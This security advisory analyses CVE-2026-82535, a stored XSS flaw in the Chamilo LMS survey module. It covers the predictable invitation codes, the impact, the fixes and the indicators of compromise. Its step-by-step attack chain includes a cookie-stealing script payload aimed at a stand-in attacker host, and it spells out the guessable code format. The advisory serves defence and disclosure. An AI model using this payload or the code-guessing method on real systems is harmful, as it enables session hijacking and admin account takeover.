CVE-2026-82535: 
Chamilo vulnerability analysis and mitigation

CVE-2026-82535 is a stored cross-site scripting (XSS) vulnerability in Chamilo LMS that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint. Affected versions include Chamilo LMS 1.11.0 through 1.11.40 and 2.0.0 through 2.0.3; versions 1.11.42 and 3.0.0 are unaffected. The vulnerability was disclosed on September 11, 2026, with a patch published the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (GitHub Advisory, VulnCheck).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), with two compounding weaknesses: predictable/deterministic invitation codes and missing output encoding in survey reporting views. In the legacy fillsurvey.php endpoint, anonymous invitation codes were generated using md5(time()) — a deterministic, guessable value — allowing unauthenticated attackers to compute valid codes and submit survey answers without authorization. Survey answers of type open or comment were stored and later rendered unescaped in surveyUtil.class.php's display_complete_report_row() and display_question_report() functions, meaning any HTML or JavaScript in the stored answer would execute in the browser of any teacher or administrator viewing the report (Chamilo Commit c9d2614, Chamilo Commit be45f2f).

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into the Chamilo LMS platform, which executes in the browser sessions of teachers or administrators when they view survey reports. This enables session hijacking, credential theft, and — as highlighted in the advisory — persistent backdoor account creation by leveraging the victim's authenticated session to perform privileged actions. The scope is changed (CVSS S:C), meaning the impact extends beyond the vulnerable component to the broader application context, with low confidentiality and integrity impacts at the system level (GitHub Advisory, VulnCheck).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at the time of disclosure. The NVD SSVC assessment classifies exploitation as "none" and the vulnerability as non-automatable, as it requires a teacher or administrator to view the survey report (user interaction required). The EPSS score is approximately 0.268%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. A technical walkthrough video was published at undercodetesting.com shortly after disclosure (GitHub Advisory, VulnCheck).

1. Reconnaissance: Identify a publicly accessible Chamilo LMS instance running a vulnerable version (1.11.0–1.11.40 or 2.0.0–2.0.3) with an active survey that accepts anonymous or invitation-based responses.
2. Compute invitation code: Determine the deterministic invitation code for the target survey. In vulnerable versions, anonymous codes were generated as 'auto-ANONY_' . md5(time()) . '-' . $surveyCode, making them predictable by brute-forcing recent timestamps or by observing the pattern.
3. Craft malicious payload: Prepare a survey answer for an open-text or comment question containing an unescaped HTML/JavaScript payload, e.g., <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> or a payload that creates a backdoor admin account via the LMS API.
4. Submit crafted answer: POST the malicious answer to the survey submission endpoint (/main/survey/fillsurvey.php) using the computed invitation code, bypassing authorization checks present in vulnerable versions.
5. Wait for victim interaction: The injected script is stored in the database. When a teacher or administrator navigates to the survey reporting view (reporting.php or equivalent), the unescaped answer is rendered and the script executes in their browser session.
6. Achieve objective: The executing script can exfiltrate session cookies, perform actions on behalf of the administrator (e.g., create a new privileged account), or establish persistent access to the LMS platform (Chamilo Commit c9d2614, GitHub Advisory).

• Network: Outbound HTTP requests from administrator/teacher browsers to unexpected external domains shortly after viewing survey reports; unusual POST requests to /main/survey/fillsurvey.php from unauthenticated or anonymous sources with invitationcode parameters matching the auto-ANONY_ pattern.
• Logs: Web server access logs showing repeated POST requests to fillsurvey.php with varying invitationcode values (brute-force of timestamp-based codes); access to reporting.php followed immediately by requests to external attacker-controlled domains in browser-side logs.
• Application/Database: Survey answer records in the database containing HTML tags or JavaScript (<script>, onerror=, javascript:, etc.) in open-text or comment fields.
• User Accounts: Unexpected new administrator or teacher accounts created around the time survey reports were accessed, particularly accounts with no corresponding registration activity.

Chamilo has released patched versions: 1.11.42 for the 1.11.x branch and 3.0.0 for the 3.x branch. The fixes include: replacing the deterministic md5(time())-based invitation code generation with a cryptographically secure token (api_generate_secure_token(16)); adding ownership verification for auto- prefixed invitation codes; and applying Security::remove_XSS() output escaping to all survey answer fields rendered in reports. For the 3.x branch, access to the legacy survey answer and reporting pages has been denied entirely. Organizations unable to upgrade immediately should restrict access to survey reporting pages to trusted networks, implement WAF rules to detect XSS payloads in survey submissions, and audit existing survey answers for malicious content (Chamilo Commit c9d2614, Chamilo Commit be45f2f, GitHub Advisory).

A technical walkthrough video was published at undercodetesting.com shortly after disclosure, covering the predictable invitation code mechanism and the stored XSS-to-admin-backdoor attack chain. The vulnerability was catalogued by VulnCheck, VulnDB, and radar.offseq.com within hours of publication. No significant vendor statements beyond the GitHub security advisory or notable researcher commentary beyond the technical video have been identified at this time (GitHub Advisory, VulnCheck).